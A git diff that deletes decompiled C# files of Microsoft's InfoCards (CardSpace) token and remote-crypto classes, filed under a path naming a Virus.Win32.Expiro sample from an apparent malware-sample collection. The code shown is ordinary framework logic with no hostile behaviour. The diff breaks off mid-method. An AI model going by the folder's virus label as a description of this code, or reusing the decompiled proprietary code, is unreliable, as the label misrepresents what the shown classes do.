Microsoft.InfoCards -{ - internal class RemoteAsymmetricSignatureFormatter : AsymmetricSignatureFormatter - { - private RemoteCryptoRsaServiceProvider m_rsa; - private string m_hashOidString; - private int m_nativeHashType; - - public override byte[] CreateSignature(byte[] rgbHash) - { - if (this.m_rsa == null) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException("m_rsa")); - if (string.IsNullOrEmpty(this.m_hashOidString)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException("m_hashOidString")); - if (rgbHash == null) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentNullException(nameof (rgbHash))); - return this.m_rsa.SignHash(this.m_nativeHashType, rgbHash); - } - - public override void SetHashAlgorithm(string strName) - { - this.m_hashOidString = CryptoConfig.MapNameToOID(strName); - this.m_nativeHashType = NativeMcppMethods.CryptAlgIdFromOid(this.m_hashOidString); - } - - public override void SetKey(AsymmetricAlgorithm key) - { - this.m_rsa = key as RemoteCryptoRsaServiceProvider; - if (this.m_rsa == null) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs deleted file mode 100644 index 1741abb2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoDecryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class RemoteCryptoDecryptRequest : RpcCryptoRequest - { - private byte[] m_buffer; - private int m_index; - private int m_length; - private bool m_final; - private int m_flags; - private int m_hashAlg; - private byte[] m_hash; - - public RemoteCryptoDecryptRequest( - RpcCryptoContext context, - int flags, - bool final, - byte[] buffer, - int index, - int length, - int hashAlg, - byte[] hashValue) - : base(context) - { - this.m_buffer = buffer; - this.m_length = length; - this.m_index = index; - this.m_flags = flags; - this.m_final = final; - this.m_hashAlg = hashAlg; - this.m_hash = hashValue; - } - - public override string Name => "RpcCryptoDecryptRequest"; - - public byte[] GetBuffer() => this.m_buffer; - - public int Length => this.m_length; - - public int Index => this.m_index; - - protected override void MarshalOutArgs(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream); - writer.Write(this.m_flags); - writer.Write(this.m_final); - writer.Write(this.m_length); - writer.Write(this.m_buffer, this.m_index, this.m_length); - writer.Write(this.m_hashAlg); - Utility.SerializeBytes(writer, this.m_hash); - } - - protected override void MarshalReturnArgs(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_length = binaryReader.ReadInt32(); - binaryReader.Read(this.m_buffer, this.m_index, this.m_length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs deleted file mode 100644 index 83335059..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoRsaServiceProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class RemoteCryptoRsaServiceProvider : RSA, ICspAsymmetricAlgorithm - { - private const int CRYPT_OAEP = 64; - private X509CertificateTokenFactoryCredential m_credential; - private RpcCryptoContext m_context; - private CspKeyContainerInfo m_cspInfo; - private UIAgentRequest m_request; - private object m_sync = new object(); - private bool m_disposed; - - public RemoteCryptoRsaServiceProvider( - X509CertificateTokenFactoryCredential credential, - UIAgentRequest request) - { - this.m_credential = credential; - this.m_context = new RpcCryptoContext(this.m_credential.PortName, this.m_credential.ContextKey); - this.m_cspInfo = new CspKeyContainerInfo(new CspParameters() - { - KeyContainerName = "RpcCrypto", - ProviderName = "RpcCrypto", - ProviderType = 0, - KeyNumber = 1 - }); - this.m_request = request; - } - - CspKeyContainerInfo ICspAsymmetricAlgorithm.CspKeyContainerInfo => this.m_cspInfo; - - byte[] ICspAsymmetricAlgorithm.ExportCspBlob( - bool includePrivateParameters) - { - if (!(this.m_credential.Certificate.PublicKey.Key is ICspAsymmetricAlgorithm key)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - if (includePrivateParameters) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - return key.ExportCspBlob(false); - } - - void ICspAsymmetricAlgorithm.ImportCspBlob(byte[] rawData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override string KeyExchangeAlgorithm => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.KeyExchangeAlgorithm : (string) null; - - public override string SignatureAlgorithm => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.SignatureAlgorithm : (string) null; - - public override int KeySize - { - get => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.KeySize : 0; - set => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override KeySizes[] LegalKeySizes => new KeySizes[1] - { - new KeySizes(this.KeySize, this.KeySize, 0) - }; - - public byte[] SignHash(int hashAlg, byte[] hash) - { - this.ThrowIfRemoteProcessDied(); - RemoteCryptoSignHashRequest cryptoSignHashRequest = new RemoteCryptoSignHashRequest(this.GetContext(), hashAlg, 0, hash); - cryptoSignHashRequest.Process(); - byte[] signature = cryptoSignHashRequest.GetSignature(); - this.ThrowIfRemoteProcessDied(); - return signature; - } - - public override byte[] DecryptValue(byte[] rgb) - { - this.ThrowIfRemoteProcessDied(); - byte[] numArray = new byte[rgb.Length]; - Array.Copy((Array) rgb, 0, (Array) numArray, 0, rgb.Length); - RemoteCryptoDecryptRequest cryptoDecryptRequest = new RemoteCryptoDecryptRequest(this.GetContext(), 0, true, numArray, 0, numArray.Length, 0, (byte[]) null); - cryptoDecryptRequest.Process(); - byte[] destinationArray = new byte[cryptoDecryptRequest.Length]; - Array.Copy((Array) cryptoDecryptRequest.GetBuffer(), cryptoDecryptRequest.Index, (Array) destinationArray, 0, cryptoDecryptRequest.Length); - this.ThrowIfRemoteProcessDied(); - return destinationArray; - } - - public override byte[] EncryptValue(byte[] rgb) => ((RSA) this.m_credential.Certificate.PublicKey.Key).EncryptValue(rgb); - - public override RSAParameters ExportParameters(bool includePrivateParameters) - { - if (includePrivateParameters || this.m_credential.Certificate.PublicKey == null) - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("ServiceCanNotExportCertIdentityPrivateKey"))); - if (this.m_credential.Certificate.PublicKey.Key is RSA) - return ((RSA) this.m_credential.Certificate.PublicKey.Key).ExportParameters(false); - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("ServiceCanNotExportCertIdentityPrivateKey"))); - } - - public override void ImportParameters(RSAParameters parameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - protected override void Dispose(bool disposing) - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - int num = disposing ? 1 : 0; - ((IDisposable) this.m_context).Dispose(); - this.m_disposed = true; - } - } - - private RpcCryptoContext GetContext() - { - if (!this.m_context.IsOpen) - this.m_context.Open(); - return this.m_context; - } - - private void ThrowIfRemoteProcessDied() - { - if (!this.m_request.ParentRequest.UIAgentActive) - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("RemoteCryptoSessionUnavailable"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs deleted file mode 100644 index 46775493..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoSignHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class RemoteCryptoSignHashRequest : RpcCryptoRequest - { - private byte[] m_signature; - private byte[] m_hash; - private int m_hashType; - private int m_flags; - - public RemoteCryptoSignHashRequest( - RpcCryptoContext context, - int hashType, - int flags, - byte[] hash) - : base(context) - { - this.m_hash = hash; - this.m_hashType = hashType; - this.m_flags = flags; - } - - public override string Name => "RpcCryptoSignHashRequest"; - - public byte[] GetSignature() => this.m_signature; - - protected override void MarshalOutArgs(Stream stream) - { - BinaryWriter binaryWriter = new BinaryWriter(stream); - binaryWriter.Write(this.m_hashType); - binaryWriter.Write(this.m_flags); - binaryWriter.Write(this.m_hash.Length); - binaryWriter.Write(this.m_hash, 0, this.m_hash.Length); - } - - protected override void MarshalReturnArgs(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_signature = binaryReader.ReadBytes(binaryReader.ReadInt32()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs deleted file mode 100644 index 80db38d8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoTokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal sealed class RemoteCryptoTokenProvider : SecurityTokenProvider, IDisposable - { - private RemoteX509Token m_token; - private X509Certificate2 m_certificate; - private object m_sync; - - public RemoteCryptoTokenProvider(X509Certificate2 cert) - { - this.m_sync = new object(); - this.m_certificate = cert; - } - - public void Dispose() - { - IDisposable token = (IDisposable) this.m_token; - if (token == null) - return; - token.Dispose(); - this.m_token = (RemoteX509Token) null; - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) => (SecurityToken) this.InnerGetToken(); - - private X509SecurityToken InnerGetToken() - { - if (this.m_token == null) - { - lock (this.m_sync) - { - if (this.m_token == null) - this.m_token = new RemoteX509Token(this.m_certificate); - } - } - return (X509SecurityToken) this.m_token; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteTokenFactory.cs deleted file mode 100644 index d9344f75..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteTokenFactory.cs +++ /dev/null @@ -1,515 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Net; -using System.Net.Security; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Cryptography.Xml; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RemoteTokenFactory : TokenFactoryBase - { - internal const string MetadataExchangeClientKey = "MetadataExchangeClientKey"; - private ServiceEndpoint m_endPoint; - private ChannelFactory m_channelFactory; - private object m_channelChangeSync; - private IWebProxy m_proxy; - private ProtocolProfile m_protocolProfile; - private Dictionary m_disclosedClaims; - - public RemoteTokenFactory(ServiceEndpoint endPoint, IWebProxy proxy) - { - this.m_endPoint = endPoint; - this.m_channelChangeSync = new object(); - this.m_proxy = proxy; - } - - protected override TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter parameter, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == parameter, nameof (parameter)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == credential, nameof (credential)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - RSACryptoServiceProvider key = (RSACryptoServiceProvider) null; - byte[] numArray = (byte[]) null; - SymmetricAlgorithm symmetricProof = (SymmetricAlgorithm) null; - RSAKeyValue val = (RSAKeyValue) null; - string internalTokenReference = string.Empty; - string externalTokenReference = string.Empty; - GenericXmlSecurityToken tok = (GenericXmlSecurityToken) null; - this.m_protocolProfile = policy.ProtocolVersionProfile; - bool flag1 = false; - RSATokenProvider rsaTokenProvider = (RSATokenProvider) null; - TokenDescriptor tokenDescriptor; - try - { - if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - key = card.GetPublicCryptography(policy.Recipient.GetIdentifier()); - flag1 = true; - InfoCardTrace.Assert(null == numArray, "Null in in asymmetric case"); - } - else if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - numArray = new byte[(IntPtr) (policy.GetIntelligentKeySize(false) / 8U)]; - new RNGCryptoServiceProvider().GetNonZeroBytes(numArray); - InfoCardTrace.Assert(null == key, "Null in symmetric case"); - } - else - { - InfoCardTrace.Assert(null == key, "Null in no proof key case"); - InfoCardTrace.Assert(null == numArray, "Null in no proof key case"); - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Null in no proof key case"); - } - if (this.m_endPoint == null) - this.m_endPoint = RemoteTokenFactory.DoMexExchange(parameter, this.m_proxy); - BindingElementCollection bindingElements = this.m_endPoint.Binding.CreateBindingElements(); - SecurityBindingElement securityBindingElement = bindingElements.Find(); - if (securityBindingElement == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) this.m_endPoint.Address.Uri))); - this.m_protocolProfile.WSTrust = securityBindingElement.MessageSecurityVersion.TrustVersion != TrustVersion.WSTrust13 ? (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance : (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - Binding binding1 = Utility.BuildBindingWithMaxMessageSize(this.m_endPoint.Binding); - EndpointAddress address = this.m_endPoint.Address; - if (flag1) - { - SupportingTokenParameters supportingTokenParameters; - if (securityBindingElement.OptionalOperationSupportingTokenParameters.ContainsKey(this.m_protocolProfile.WSTrust.RequestSecurityTokenAction)) - { - supportingTokenParameters = securityBindingElement.OptionalOperationSupportingTokenParameters[this.m_protocolProfile.WSTrust.RequestSecurityTokenAction]; - } - else - { - supportingTokenParameters = new SupportingTokenParameters(); - securityBindingElement.OptionalOperationSupportingTokenParameters[this.m_protocolProfile.WSTrust.RequestSecurityTokenAction] = supportingTokenParameters; - } - bool flag2 = true; - foreach (SecurityTokenParameters securityTokenParameters in supportingTokenParameters.Endorsing) - { - if (securityTokenParameters is RsaSecurityTokenParameters) - { - flag2 = false; - break; - } - } - if (flag2) - { - RsaSecurityTokenParameters securityTokenParameters = new RsaSecurityTokenParameters(); - securityTokenParameters.InclusionMode = SecurityTokenInclusionMode.Never; - securityTokenParameters.RequireDerivedKeys = false; - supportingTokenParameters.Endorsing.Add((SecurityTokenParameters) securityTokenParameters); - } - binding1 = (Binding) new CustomBinding((IEnumerable) bindingElements); - } - Binding binding2 = (Binding) new CustomBinding((IEnumerable) HttpProxyTransportBindingElement.ReplaceHttpTransportWithProxy(binding1.CreateBindingElements(), this.m_proxy)); - InfoCardServiceClientCredentials clientCredentials1 = new InfoCardServiceClientCredentials(credential, this.m_protocolProfile); - if (flag1) - { - rsaTokenProvider = new RSATokenProvider(policy, card); - clientCredentials1.EndorsingSignatureTokenProvider = rsaTokenProvider; - } - ChannelFactory channelFactory = (ChannelFactory) null; - bool flag3 = false; - List disclosedClaims; - DisplayToken displayToken; - try - { - InfoCardTrace.Assert(!flag3, "Will set to true upon sucess"); - lock (this.m_channelChangeSync) - { - if (this.IsAborted) - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - channelFactory = new ChannelFactory(binding2, address); - ClientCredentials clientCredentials2 = channelFactory.Endpoint.Behaviors.Find(); - if (clientCredentials2 != null) - channelFactory.Endpoint.Behaviors.Remove((IEndpointBehavior) clientCredentials2); - channelFactory.Endpoint.Behaviors.Remove(); - channelFactory.Endpoint.Behaviors.Add((IEndpointBehavior) clientCredentials1); - X509Certificate2Collection certificate2Collection = (X509Certificate2Collection) null; - bool chainTrustPassed = false; - switch (parameter.CredentialType) - { - case TokenFactoryCredentialType.UserNamePasswordCredential: - clientCredentials1.UserName.UserName = ((UserNameTokenFactoryCredential) credential).UserName; - clientCredentials1.UserName.Password = ((UserNameTokenFactoryCredential) credential).Password; - certificate2Collection = this.GetCertificateChainFromAddress(address); - InfoCardX509Validator.ValidateChainOrPeer(certificate2Collection[0], certificate2Collection, out chainTrustPassed); - clientCredentials1.ServiceCertificate.DefaultCertificate = certificate2Collection[0]; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.SelfIssuedCredential: - clientCredentials1.IsSelfIssuedCred = true; - SelfIssuedTokenFactoryCredential factoryCredential = (SelfIssuedTokenFactoryCredential) credential; - clientCredentials1.SelectedCard = factoryCredential.LocalCard; - certificate2Collection = this.GetCertificateChainFromAddress(address); - X509Certificate2 x509Certificate2 = certificate2Collection[0]; - InfoCardX509Validator.ValidateChainOrPeer(x509Certificate2, certificate2Collection, out chainTrustPassed); - Recipient.RecipientCertParameters recipientParams; - string recipientIdHash = Recipient.CertGetRecipientIdHash(x509Certificate2, certificate2Collection, chainTrustPassed, out recipientParams); - string organizationIdHash = Recipient.CertGetRecipientOrganizationIdHash(x509Certificate2, certificate2Collection, chainTrustPassed); - this.EnsureSelfIssuedCardHasLedgerEntryForIssuer(factoryCredential.LocalCard, x509Certificate2, recipientIdHash, organizationIdHash, recipientParams, organizationIdHash); - clientCredentials1.ServiceCertificate.DefaultCertificate = x509Certificate2; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.X509CertificateCredential: - clientCredentials1.ClientCertificate.Certificate = ((X509CertificateTokenFactoryCredential) credential).Certificate; - certificate2Collection = this.GetCertificateChainFromAddress(address); - InfoCardX509Validator.ValidateChainOrPeer(certificate2Collection[0], certificate2Collection, out chainTrustPassed); - clientCredentials1.ServiceCertificate.DefaultCertificate = certificate2Collection[0]; - goto case TokenFactoryCredentialType.KerberosCredential; - case TokenFactoryCredentialType.KerberosCredential: - clientCredentials1.ServiceCertificate.Authentication.CertificateValidationMode = X509CertificateValidationMode.Custom; - clientCredentials1.ServiceCertificate.Authentication.CustomCertificateValidator = InfoCardX509Validator.Create(certificate2Collection); - this.m_channelFactory = channelFactory; - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "CredentialType"); - goto case TokenFactoryCredentialType.KerberosCredential; - } - } - try - { - RemoteTokenFactory.ISts channel = channelFactory.CreateChannel(); - if (key != null) - val = new RSAKeyValue((RSA) key); - this.m_disclosedClaims = card.GetClaimsToBeDisclosed(policy, discloseOptional); - disclosedClaims = new List(this.m_disclosedClaims.Count); - disclosedClaims.AddRange((IEnumerable) this.m_disclosedClaims.Keys); - RequestSecurityToken rst = this.CreateRst(binding2.MessageVersion.Addressing, policy, card, discloseOptional, val, numArray, new CultureInfo(credential.LCID)); - Message message1 = Message.CreateMessage(binding2.MessageVersion, this.m_protocolProfile.WSTrust.RequestSecurityTokenAction, (BodyWriter) rst); - Message message2 = (Message) null; - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.m_protocolProfile.WSTrust.Version) - message2 = channel.ProcessRequestSecurityTokenFeb2005(message1); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.m_protocolProfile.WSTrust.Version) - message2 = channel.ProcessRequestSecurityTokenWSTrust13(message1); - else - InfoCardTrace.Assert(false, "Unsupported version of WS-Trust detected"); - WSIdentityFaultException.ThrowIfFaultMessage(message2, CultureInfo.GetCultureInfo(credential.LCID)); - if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - tok = RequestSecurityTokenResponseHelper.ProcessSymmetricTokenData(message2.GetReaderAtBodyContents(), (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, numArray, this.m_protocolProfile, out displayToken); - if (tok.ProofToken.SecurityKeys.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoSymmetricKeyFound"))); - foreach (SecurityKey securityKey in tok.ProofToken.SecurityKeys) - { - if (securityKey is InMemorySymmetricSecurityKey) - { - symmetricProof = (SymmetricAlgorithm) new RijndaelManaged(); - symmetricProof.Key = ((SymmetricSecurityKey) securityKey).GetSymmetricKey(); - break; - } - } - if (symmetricProof == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoSymmetricKeyFound"))); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - tok = RequestSecurityTokenResponseHelper.ProcessAsymmetricTokenData(message2.GetReaderAtBodyContents(), (RSA) key, (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, this.m_protocolProfile, out displayToken); - } - else - { - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Bad enum member for SecurityKeyTypeInternal"); - tok = RequestSecurityTokenResponseHelper.ProcessBearerTokenData(message2.GetReaderAtBodyContents(), (SecurityTokenSerializer) this.m_protocolProfile.TokenSerializer, (SecurityTokenResolver) null, this.m_protocolProfile, out displayToken); - } - channelFactory.Close(); - flag3 = true; - } - finally - { - lock (this.m_channelChangeSync) - { - if (!flag3) - channelFactory.Abort(); - this.m_channelFactory = (ChannelFactory) null; - } - } - } - catch (EndpointNotFoundException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"), (Exception) ex)); - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("ProblemRetrievingTokenFromIdentityProvider"), ex)); - throw; - } - XmlElement xmlElement = tok.TokenXml; - if (policy.ImmediateTokenRecipient is X509RecipientIdentity immediateTokenRecipient && !this.IsEncryptedXml(xmlElement)) - { - if (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(policy, card.RequireAppliesto) == AppliesToBehaviorDecision.DoNotSend) - { - try - { - string asymmetricKeyWrapAlgorithm = policy.KeyType != SecurityKeyTypeInternal.SymmetricKey ? (SecurityKeyTypeInternal.AsymmetricKey != policy.KeyType ? SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm : (!string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? policy.OptionalRstParams.EncryptWith : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - xmlElement = EncryptionUtility.EncryptSecurityToken(xmlElement, immediateTokenRecipient.LeafCertificate, !string.IsNullOrEmpty(policy.OptionalRstParams.EncryptionAlgorithm) ? policy.OptionalRstParams.EncryptionAlgorithm : SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm, asymmetricKeyWrapAlgorithm, policy.ProtocolVersionProfile); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException("ServiceTokenEncryptionFailed", ex)); - throw; - } - } - } - this.GetKeyIdentifierClauses(tok, policy.ProtocolVersionProfile, out internalTokenReference, out externalTokenReference); - this.FillOutDisplayToken(card, displayToken); - tokenDescriptor = new TokenDescriptor(tok.Id, tok.ValidFrom, tok.ValidTo, xmlElement, displayToken, symmetricProof, internalTokenReference, externalTokenReference, (IEnumerable) disclosedClaims); - symmetricProof = (SymmetricAlgorithm) null; - } - finally - { - key?.Dispose(); - if (val != null) - { - val.Key.Dispose(); - val.Key = (RSA) null; - } - symmetricProof?.Dispose(); - rsaTokenProvider?.Dispose(); - } - return tokenDescriptor; - } - - protected override void OnAbort() - { - lock (this.m_channelChangeSync) - { - if (this.IsAborted || this.m_channelFactory == null) - return; - this.m_channelFactory.Abort(); - } - } - - private X509Certificate2Collection GetCertificateChainFromAddress( - EndpointAddress address) - { - if ((EndpointAddress) null == address || address.Identity == null) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoCertificateInEndPoint"))); - if (!(address.Identity is X509CertificateEndpointIdentity identity) || identity.Certificates == null || identity.Certificates.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NoCertificateInEndPoint"))); - return identity.Certificates; - } - - public static ServiceEndpoint DoMexExchange( - TokenCreationParameter param, - IWebProxy proxy) - { - ServiceEndpoint serviceEndpoint1 = (ServiceEndpoint) null; - bool flag = false; - EndpointAddress address = param != null && !((EndpointAddress) null == param.Epr) ? Utility.DeriveMexAddress(param.Epr) : throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - if ((EndpointAddress) null == address) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - InfoCardMetadataExchangeClient metadataExchangeClient = new InfoCardMetadataExchangeClient(Utility.BuildBindingWithMaxMessageSize((Binding) new WSHttpBinding(SecurityMode.Transport))); - metadataExchangeClient.Proxy = proxy; - MetadataSet metadata = 